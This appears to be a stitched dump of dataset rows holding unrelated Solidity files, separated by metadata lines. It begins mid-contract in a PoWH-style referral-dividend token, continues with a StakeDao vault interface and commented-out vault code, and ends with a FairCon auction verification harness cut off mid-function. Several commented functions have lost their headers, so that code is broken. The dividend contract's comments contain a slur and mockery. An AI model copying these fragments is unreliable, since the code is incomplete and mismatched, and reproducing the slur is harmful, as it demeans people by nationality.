tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 212,532 | 10,807 |
4427b39adff73f13d8a813e480b8fbbbb13de8f851798f08e9e994a384946d79
| 33,837 |
.sol
|
Solidity
| false |
492670100
|
Messi-Q/DeFi-Protocol
|
ce2661ef6bbb7810544bb619b6687e7228df8491
|
Derivative/Normal/Frax/Misc_AMOs/stakedao/IStakeDaoVault.sol
| 4,851 | 16,873 |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.11;
interface IStakeDaoVault {
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function available() external view returns (uint256);
function balance() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function controller() external view returns (address);
function decimals() external view returns (uint8);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function deposit(uint256 _amount) external;
function depositAll() external;
function earn() external;
function getPricePerFullShare() external view returns (uint256);
function governance() external view returns (address);
function harvest(address reserve, uint256 amount) external;
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function max() external view returns (uint256);
function min() external view returns (uint256);
function name() external view returns (string memory);
function setController(address _controller) external;
function setGovernance(address _governance) external;
function setMin(uint256 _min) external;
function symbol() external view returns (string memory);
function token() external view returns (address);
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function withdraw(uint256 _shares) external;
function withdrawAll() external;
}
// // Part: IController
// interface IController {
// function withdraw(address, uint256) external;
// function balanceOf(address) external view returns (uint256);
// function earn(address, uint256) external;
// function want(address) external view returns (address);
// function rewards() external view returns (address);
// function vaults(address) external view returns (address);
// function strategies(address) external view returns (address);
// }
// // Part: OpenZeppelin/openzeppelin-contracts@2.5.1/Address
//
// library Address {
//
// function isContract(address account) internal view returns (bool) {
// // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// // for accounts without code, i.e. `keccak256('')`
// bytes32 codehash;
// bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// // solhint-disable-next-line no-inline-assembly
// assembly { codehash := extcodehash(account) }
// return (codehash != accountHash && codehash != 0x0);
// }
//
// function toPayable(address account) internal pure returns (address payable) {
// return address(uint160(account));
// }
//
// function sendValue(address payable recipient, uint256 amount) internal {
// require(address(this).balance >= amount, "Address: insufficient balance");
// // solhint-disable-next-line avoid-call-value
// (bool success,) = recipient.call.value(amount)("");
// require(success, "Address: unable to send value, recipient may have reverted");
// }
// }
// // Part: OpenZeppelin/openzeppelin-contracts@2.5.1/Context
//
// contract Context {
// // Empty internal constructor, to prevent people from mistakenly deploying
// // an instance of this contract, which should be used via inheritance.
// constructor () internal { }
// // solhint-disable-previous-line no-empty-blocks
// function _msgSender() internal view returns (address payable) {
// return msg.sender;
// }
// function _msgData() internal view returns (bytes memory) {
// return msg.data;
// }
// }
// // Part: OpenZeppelin/openzeppelin-contracts@2.5.1/IERC20
//
// interface IERC20 {
//
// function totalSupply() external view returns (uint256);
//
// function balanceOf(address account) external view returns (uint256);
//
// function transfer(address recipient, uint256 amount) external returns (bool);
//
// function allowance(address owner, address spender) external view returns (uint256);
//
// function approve(address spender, uint256 amount) external returns (bool);
//
//
// event Transfer(address indexed from, address indexed to, uint256 value);
//
// event Approval(address indexed owner, address indexed spender, uint256 value);
// }
// // Part: OpenZeppelin/openzeppelin-contracts@2.5.1/SafeMath
//
// library SafeMath {
//
// function add(uint256 a, uint256 b) internal pure returns (uint256) {
// uint256 c = a + b;
// require(c >= a, "SafeMath: addition overflow");
// return c;
// }
//
// function sub(uint256 a, uint256 b) internal pure returns (uint256) {
// return sub(a, b, "SafeMath: subtraction overflow");
// }
//
// require(b <= a, errorMessage);
// uint256 c = a - b;
// return c;
// }
//
// function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// // benefit is lost if 'b' is also tested.
// // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
// if (a == 0) {
// return 0;
// }
// uint256 c = a * b;
// require(c / a == b, "SafeMath: multiplication overflow");
// return c;
// }
//
// function div(uint256 a, uint256 b) internal pure returns (uint256) {
// return div(a, b, "SafeMath: division by zero");
// }
//
// // Solidity only automatically asserts when dividing by 0
// require(b > 0, errorMessage);
// uint256 c = a / b;
// // assert(a == b * c + a % b); // There is no case in which this doesn't hold
// return c;
// }
//
// function mod(uint256 a, uint256 b) internal pure returns (uint256) {
// return mod(a, b, "SafeMath: modulo by zero");
// }
//
// require(b != 0, errorMessage);
// return a % b;
// }
// }
// // Part: OpenZeppelin/openzeppelin-contracts@2.5.1/ERC20
//
// contract ERC20 is Context, IERC20 {
// using SafeMath for uint256;
// mapping (address => uint256) private _balances;
// mapping (address => mapping (address => uint256)) private _allowances;
// uint256 private _totalSupply;
//
// function totalSupply() public view returns (uint256) {
// return _totalSupply;
// }
//
// function balanceOf(address account) public view returns (uint256) {
// return _balances[account];
// }
//
// function transfer(address recipient, uint256 amount) public returns (bool) {
// _transfer(_msgSender(), recipient, amount);
// return true;
// }
//
// function allowance(address owner, address spender) public view returns (uint256) {
// return _allowances[owner][spender];
// }
//
// function approve(address spender, uint256 amount) public returns (bool) {
// _approve(_msgSender(), spender, amount);
// return true;
// }
//
// _transfer(sender, recipient, amount);
// return true;
// }
//
// function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
// _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
// return true;
// }
//
// function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
// return true;
// }
//
// function _transfer(address sender, address recipient, uint256 amount) internal {
// require(sender != address(0), "ERC20: transfer from the zero address");
// require(recipient != address(0), "ERC20: transfer to the zero address");
// _balances[recipient] = _balances[recipient].add(amount);
// emit Transfer(sender, recipient, amount);
// }
//
// function _mint(address account, uint256 amount) internal {
// require(account != address(0), "ERC20: mint to the zero address");
// _totalSupply = _totalSupply.add(amount);
// _balances[account] = _balances[account].add(amount);
// emit Transfer(address(0), account, amount);
// }
//
// function _burn(address account, uint256 amount) internal {
// require(account != address(0), "ERC20: burn from the zero address");
// _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
// _totalSupply = _totalSupply.sub(amount);
// emit Transfer(account, address(0), amount);
// }
//
// function _approve(address owner, address spender, uint256 amount) internal {
// require(owner != address(0), "ERC20: approve from the zero address");
// require(spender != address(0), "ERC20: approve to the zero address");
// _allowances[owner][spender] = amount;
// emit Approval(owner, spender, amount);
// }
//
// function _burnFrom(address account, uint256 amount) internal {
// _burn(account, amount);
// }
// }
// // Part: OpenZeppelin/openzeppelin-contracts@2.5.1/ERC20Detailed
//
// contract ERC20Detailed is IERC20 {
// string private _name;
// string private _symbol;
// uint8 private _decimals;
//
// constructor (string memory name, string memory symbol, uint8 decimals) public {
// _name = name;
// _symbol = symbol;
// _decimals = decimals;
// }
//
// function name() public view returns (string memory) {
// return _name;
// }
//
// function symbol() public view returns (string memory) {
// return _symbol;
// }
//
// function decimals() public view returns (uint8) {
// return _decimals;
// }
// }
// // Part: OpenZeppelin/openzeppelin-contracts@2.5.1/SafeERC20
//
// library SafeERC20 {
// using SafeMath for uint256;
// using Address for address;
// function safeTransfer(IERC20 token, address to, uint256 value) internal {
// callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
// }
// function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
// }
// function safeApprove(IERC20 token, address spender, uint256 value) internal {
// // safeApprove should only be called when setting an initial allowance,
// // or when resetting it to zero. To increase and decrease it, use
// // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// // solhint-disable-next-line max-line-length
// require((value == 0) || (token.allowance(address(this), spender) == 0),
// "SafeERC20: approve from non-zero to non-zero allowance"
//);
// callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
// }
// function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
// uint256 newAllowance = token.allowance(address(this), spender).add(value);
// }
// function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
// }
//
// function callOptionalReturn(IERC20 token, bytes memory data) private {
// // we're implementing it ourselves.
// // A Solidity high level call has three parts:
// // 1. The target address is checked to verify it contains contract code
// // 2. The call itself is made, and success asserted
// // 3. The return value is decoded, which in turn checks the size of the returned data.
// // solhint-disable-next-line max-line-length
// require(address(token).isContract(), "SafeERC20: call to non-contract");
// // solhint-disable-next-line avoid-low-level-calls
// (bool success, bytes memory returndata) = address(token).call(data);
// require(success, "SafeERC20: low-level call failed");
// if (returndata.length > 0) { // Return data is optional
// // solhint-disable-next-line max-line-length
// require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
// }
// }
// }
// // File: Vault.sol
// contract Vault is ERC20, ERC20Detailed {
// using SafeERC20 for IERC20;
// using Address for address;
// using SafeMath for uint256;
// IERC20 public token;
// uint256 public min = 9500;
// uint256 public constant max = 10000;
// address public governance;
// address public controller;
// constructor (// address _token,
// address _controller,
// address _governance
//)
// public
// ERC20Detailed(// string(// abi.encodePacked("Stake DAO ", ERC20Detailed(_token).name())
//),
// string(abi.encodePacked("sd", ERC20Detailed(_token).symbol())),
// ERC20Detailed(_token).decimals()
//)
// {
// token = IERC20(_token);
// controller = _controller;
// governance = _governance;
// }
// function balance() public view returns (uint256) {
// return
// token.balanceOf(address(this)).add(// IController(controller).balanceOf(address(token))
//);
// }
// function setMin(uint256 _min) external {
// require(msg.sender == governance, "!governance");
// min = _min;
// }
// function setGovernance(address _governance) public {
// require(msg.sender == governance, "!governance");
// governance = _governance;
// }
// function setController(address _controller) public {
// require(msg.sender == governance, "!governance");
// controller = _controller;
// }
// // Custom logic in here for how much the vault allows to be borrowed
// // Sets minimum required on-hand to keep small withdrawals cheap
// function available() public view returns (uint256) {
// return token.balanceOf(address(this)).mul(min).div(max);
// }
// function earn() public {
// uint256 _bal = available();
// token.safeTransfer(controller, _bal);
// IController(controller).earn(address(token), _bal);
// }
// function depositAll() external {
// deposit(token.balanceOf(msg.sender));
// }
// function deposit(uint256 _amount) public {
// uint256 _pool = balance();
// uint256 _before = token.balanceOf(address(this));
// token.safeTransferFrom(msg.sender, address(this), _amount);
// uint256 _after = token.balanceOf(address(this));
// _amount = _after.sub(_before); // Additional check for deflationary tokens
// uint256 shares = 0;
// if (totalSupply() == 0) {
// shares = _amount;
// } else {
// shares = (_amount.mul(totalSupply())).div(_pool);
// }
// _mint(msg.sender, shares);
// }
// function withdrawAll() external {
// withdraw(balanceOf(msg.sender));
// }
// // Used to swap any borrowed reserve over the debt limit to liquidate to 'token'
// function harvest(address reserve, uint256 amount) external {
// require(msg.sender == controller, "!controller");
// require(reserve != address(token), "token");
// IERC20(reserve).safeTransfer(controller, amount);
// }
// // No rebalance implementation for lower fees and faster swaps
// function withdraw(uint256 _shares) public {
// uint256 r = (balance().mul(_shares)).div(totalSupply());
// _burn(msg.sender, _shares);
// // Check balance
// uint256 b = token.balanceOf(address(this));
// if (b < r) {
// uint256 _withdraw = r.sub(b);
// IController(controller).withdraw(address(token), _withdraw);
// uint256 _after = token.balanceOf(address(this));
// uint256 _diff = _after.sub(b);
// if (_diff < _withdraw) {
// r = b.add(_diff);
// }
// }
// token.safeTransfer(msg.sender, r);
// }
// function getPricePerFullShare() public view returns (uint256) {
// return
// totalSupply() == 0 ? 1e18 : balance().mul(1e18).div(totalSupply());
// }
// }
| 67,876 | 10,808 |
8cdc579f6f646235c81b24ee1f812faa865be9ce66c93ada014944898a263758
| 17,216 |
.sol
|
Solidity
| false |
266261447
|
ntu-SRSLab/FairCon
|
5246f029f2ae545a070502f741fcfded42e61b64
|
contracts/experiment/auction/optimal/Auction-0x5b566b473bb0ea8dc0fc6047dd623e5fa3b42307.sol
| 4,706 | 15,457 |
// pragma solidity ^0.4.18;
// library SafeMath {
// function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// if (a == 0) {
// return 0;
// }
// c = a * b;
// assert(c / a == b);
// return c;
// }
// function div(uint256 a, uint256 b) internal pure returns (uint256) {
// // assert(b > 0); // Solidity automatically throws when dividing by 0
// // uint256 c = a / b;
// // assert(a == b * c + a % b); // There is no case in which this doesn't hold
// return a / b;
// }
// function sub(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b <= a);
// return a - b;
// }
// function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
// c = a + b;
// assert(c >= a);
// return c;
// }
// }
// interface IDividendToken{
// function profitOrgPay() payable external ;
// }
// interface IGame {
// function canSetBanker() view external returns (bool);
// function bankerEndTime() constant external returns (uint);
// }
// contract Base {
// using SafeMath for uint256;
// uint public createTime = now;
// address public owner;
// modifier onlyOwner {
// require(msg.sender == owner);
// _;
// }
// function setOwner(address _newOwner) public onlyOwner {
// owner = _newOwner;
// }
// bool public globalLocked = false;
// function lock() internal {
// require(!globalLocked);
// globalLocked = true;
// }
// function unLock() internal {
// require(globalLocked);
// globalLocked = false;
// }
// function setLock() public onlyOwner {
// globalLocked = false;
// }
// mapping (address => uint256) public userEtherOf;
// function userRefund() public returns(bool _result) {
// return _userRefund(msg.sender);
// }
// function _userRefund(address _to) internal returns(bool _result) {
// require (_to != 0x0);
// lock();
// uint256 amount = userEtherOf[msg.sender];
// if(amount > 0) {
// userEtherOf[msg.sender] = 0;
// _to.transfer(amount);
// _result = true;
// }
// else {
// _result = false;
// }
// unLock();
// }
// uint public currentEventId = 1;
// function getEventId() internal returns(uint _result) {
// _result = currentEventId;
// currentEventId ++;
// }
// }
// contract Beneficial is Base {
// //function Beneficial() public {
// //}
// address public shareholder;
// bool public shareholderIsToken = false;
// string public officialUrl;
// function setOfficialUrl(string _newOfficialUrl) public onlyOwner{
// officialUrl = _newOfficialUrl;
// }
//
// function _userRefund(address _to) internal returns(bool _result){
// require (_to != 0x0);
// lock();
// uint256 amount = userEtherOf[msg.sender];
// if(amount > 0){
// userEtherOf[msg.sender] = 0;
// if(shareholderIsToken && msg.sender == shareholder){
// IDividendToken token = IDividendToken(shareholder);
// token.profitOrgPay.value(amount)();
// }
// else{
// _to.transfer(amount);
// }
// _result = true;
// }
// else{
// _result = false;
// }
// unLock();
// }
// }
// contract Auction is Beneficial {
// //function Auction(address _gameToken) Beneficial() public {
// function Auction(address _gameToken) public {
// owner = msg.sender;
// shareholder = _gameToken;
// shareholderIsToken = true;
// }
// int public gameIndex = 1;
// mapping(int => address) public indexGameOf;
// function _addIndexGame(address _gameAddr) private {
// indexGameOf[gameIndex] = _gameAddr;
// gameIndex ++;
// }
// mapping(address => bool) public whiteListOf;
// function addWhiteList(address _Addr) public onlyOwner {
// require (_Addr != 0x0);
// whiteListOf[_Addr] = true;
// _addIndexGame(_Addr);
// emit OnWhiteListChange(_Addr, msg.sender, true, now, getEventId());
// }
// function delWhiteList(address _Addr) public onlyOwner {
// require (_Addr != 0x0);
// whiteListOf[_Addr] = false;
// emit OnWhiteListChange(_Addr, msg.sender, false, now, getEventId()) ;
// }
// function isWhiteListGame(address _Addr) private view returns(bool _result) {
// _result = whiteListOf[_Addr];
// }
// uint auctionId = 1;
// struct AuctionObj {
// uint id;
// address objAddr;
// uint256 beginTime;
// uint256 endTime;
// uint256 price;
// address winnerAddr;
// uint bankerTime;
// bool emptyGameBanker;
// }
// mapping (address => AuctionObj) public auctionObjOf;
// function setAuctionObj(address _gameAddr, uint256 _auctionEndTime, uint _bankerTime)
// public onlyOwner returns (bool _result)
// {
// _result = _setAuctionObj(_gameAddr, _auctionEndTime, _bankerTime);
// }
// public onlyOwner returns (bool _result)
// {
// addWhiteList(_gameAddr);
// _result = _setAuctionObj(_gameAddr, _auctionEndTime, _bankerTime);
// }
// //uint constant minBankTime = 1 days;
// _result = false;
// require(_gameAddr != 0x0);
// require(now < _auctionEndTime);
// //require(minBankTime <= _bankerTime);
// //require(_bankerTime < 10 years);
// if(!isWhiteListGame(_gameAddr)) {
// return;
// }
// AuctionObj storage ao = auctionObjOf[_gameAddr];
// if(ao.endTime <= now && !ao.emptyGameBanker) {
// AuctionObj memory newAO = AuctionObj({
// id: auctionId,
// objAddr: _gameAddr,
// beginTime: now,
// endTime : _auctionEndTime,
// winnerAddr: owner,
// price: 0,
// bankerTime: _bankerTime,
// emptyGameBanker: true
// });
// auctionObjOf[_gameAddr] = newAO;
// auctionId ++;
// _result = true;
// return;
// }else{
// }
// }
// function bid(address _objAddr, uint256 _price) public payable returns(bool _result) {
// _result = false;
// require(_objAddr != 0x0);
// AuctionObj storage ao = auctionObjOf[_objAddr];
// if(msg.value > 0){
// userEtherOf[msg.sender] = userEtherOf[msg.sender].add(msg.value);
// }
// if(10**16 > _price){
// emit OnBid(ao.id, msg.sender, _objAddr, _price, false, 3, now, getEventId());
// return;
// }
// if(userEtherOf[msg.sender] < _price){
// emit OnBid(ao.id, msg.sender, _objAddr, _price, false, 1, now, getEventId());
// return;
// }
// if(now < ao.endTime) {
// if(_price > ao.price) {
// userEtherOf[msg.sender] = userEtherOf[msg.sender].sub(_price);
// userEtherOf[ao.winnerAddr] = userEtherOf[ao.winnerAddr].add(ao.price);
// ao.price = _price;
// ao.winnerAddr = msg.sender;
// emit OnBid(ao.id, msg.sender, _objAddr, _price, true, 0, now, getEventId());
// _result = true;
// return;
// }
// }
// emit OnBid(ao.id, msg.sender, _objAddr, _price, false, 2, now, getEventId());
// return;
// }
// function setGameBanker(address _gameAddr) public returns (bool _result) {
// _result = false;
// require(_gameAddr != 0x0);
// //require(isWhiteListGame(_gameAddr));
// lock();
// AuctionObj storage ao = auctionObjOf[_gameAddr];
// if(ao.id > 0 && ao.endTime <= now) {
// IGame g = IGame(_gameAddr);
// if(g.bankerEndTime() < now && g.canSetBanker()){
// _result = g.setBanker(ao.winnerAddr, now, now.add(ao.bankerTime));
// if(_result){
// emit OnSetGameBanker(ao.id, _gameAddr, _result, 0, now, getEventId());
// ao.emptyGameBanker = false;
// userEtherOf[shareholder] = userEtherOf[shareholder].add(ao.price);
// }else{
// emit OnSetGameBanker(ao.id, _gameAddr, false, 1, now, getEventId());
// }
// }else{
// emit OnSetGameBanker(ao.id, _gameAddr, false, 2, now, getEventId());
// }
// }else{
// emit OnSetGameBanker(ao.id, _gameAddr, false, 3, now, getEventId());
// }
// unLock();
// }
// function () public payable {
// if(msg.value > 0) {
// userEtherOf[msg.sender] = userEtherOf[msg.sender].add(msg.value);
// }
// }
// }
contract Rewrite{
mapping(address=>uint256) userEtherOf;
uint256 price;
address winnerAddr;
uint256 endTime;
function bid(address msg_sender, uint256 msg_value, uint256 _price, uint256 block_timestamp) public payable returns(bool _result) {
_result = false;
if(msg_value > 0){
userEtherOf[msg_sender] = userEtherOf[msg_sender] + msg_value;
}
if(100000000 > _price){
// emit OnBid(ao.id, msg.sender, _objAddr, _price, false, 3, now, getEventId());
return _result;
}
if(userEtherOf[msg_sender] < _price){
// emit OnBid(ao.id, msg.sender, _objAddr, _price, false, 1, now, getEventId());
return _result;
}
require(block_timestamp < endTime);
if(_price > price) {
userEtherOf[msg_sender] = userEtherOf[msg_sender] - _price;
userEtherOf[winnerAddr] = userEtherOf[winnerAddr] + price;
price = _price;
winnerAddr = msg_sender;
_result = true;
return _result;
}
return _result;
}
mapping(address=>uint) utilities;
mapping(address=>uint) benefits;
mapping(address=>uint) payments;
function sse_winner(address a) public view {}
function sse_revenue(uint a) public view {}
function sse_utility(uint a) public view {}
function sse_maximize(uint a) public view {}
function sse_minimize(uint a) public view {}
function sse_truthful_violate_check(uint u, uint a, uint b) public view {}
function sse_collusion_violate_check(uint u12, uint v1, uint v_1, uint v2, uint v_2) public view{}
function sse_efficient_expectation_register(address allocation, address player, uint benefit) public view {}
function sse_efficient_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function sse_optimal_payment_register(address allocation, address player, uint payment) public view {}
function sse_optimal_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function _Main_(address payable msg_sender1, uint p1, uint msg_value1, uint msg_price1, uint block_timestamp1,
address payable msg_sender2, uint p2, uint msg_value2, uint msg_price2, uint block_timestamp2,
address payable msg_sender3, uint p3, uint msg_value3, uint msg_price3, uint block_timestamp3) public {
require(!(msg_sender1==winnerAddr|| msg_sender2 == winnerAddr|| msg_sender3 == winnerAddr));
require(!(msg_sender1==msg_sender2 || msg_sender1 == msg_sender3 || msg_sender2 == msg_sender3));
require(price==0);
require(endTime == 1000000);
require(p1>100000000000 && p1< 900000000000);
require(p2>100000000000 && p2< 900000000000);
require(p3>100000000000 && p3< 900000000000);
require(msg_value1>100000000000 && msg_value1< 900000000000);
require(msg_value2>100000000000 && msg_value2< 900000000000);
require(msg_value3>100000000000 && msg_value3< 900000000000);
require(msg_price1>100000000000 && msg_price1< 900000000000);
require(msg_price2>100000000000 && msg_price2< 900000000000);
require(msg_price3>100000000000 && msg_price3< 900000000000);
require(userEtherOf[winnerAddr] == 0);
require(userEtherOf[msg_sender1] == 0);
require(userEtherOf[msg_sender2] == 0);
require(userEtherOf[msg_sender3] == 0);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(benefits[msg_sender1] == 0);
require(benefits[msg_sender2] == 0);
require(benefits[msg_sender3] == 0);
require(payments[msg_sender1] == 0);
require(payments[msg_sender2] == 0);
require(payments[msg_sender3] == 0);
// require(p1==100000000002);
// require(p2==100000000001);
// require(p3==100000000001);
// require(msg_value1!=p1);
// require(msg_value2==p2);
// require(msg_price3==p3);
// each role claims the 'bid' action.
bid(msg_sender1,msg_value1,msg_price1,block_timestamp1);
bid(msg_sender2,msg_value2,msg_price2,block_timestamp2);
bid(msg_sender3,msg_value3,msg_price3,block_timestamp3);
// assert(msg_sender3 == winner);
assert(msg_sender1 == winnerAddr|| msg_sender2 == winnerAddr|| msg_sender3 == winnerAddr);
uint winners_count = 0;
if (msg_sender1 == winnerAddr){
sse_winner(msg_sender1);
winners_count ++;
utilities[msg_sender1] = p1 - price;
benefits[msg_sender1] = p1;
payments[msg_sender1] = price;
}
sse_utility(utilities[msg_sender1]);
if (msg_sender2 == winnerAddr){
sse_winner(msg_sender2);
winners_count ++;
utilities[msg_sender2] = p2 - price;
benefits[msg_sender2] = p2;
payments[msg_sender2] = price;
}
sse_utility(utilities[msg_sender2]);
if (msg_sender3 == winnerAddr){
sse_winner(msg_sender3);
winners_count ++;
utilities[msg_sender3] = p3 - price;
benefits[msg_sender3] = p3;
payments[msg_sender3] = price;
}
sse_utility(utilities[msg_sender3]);
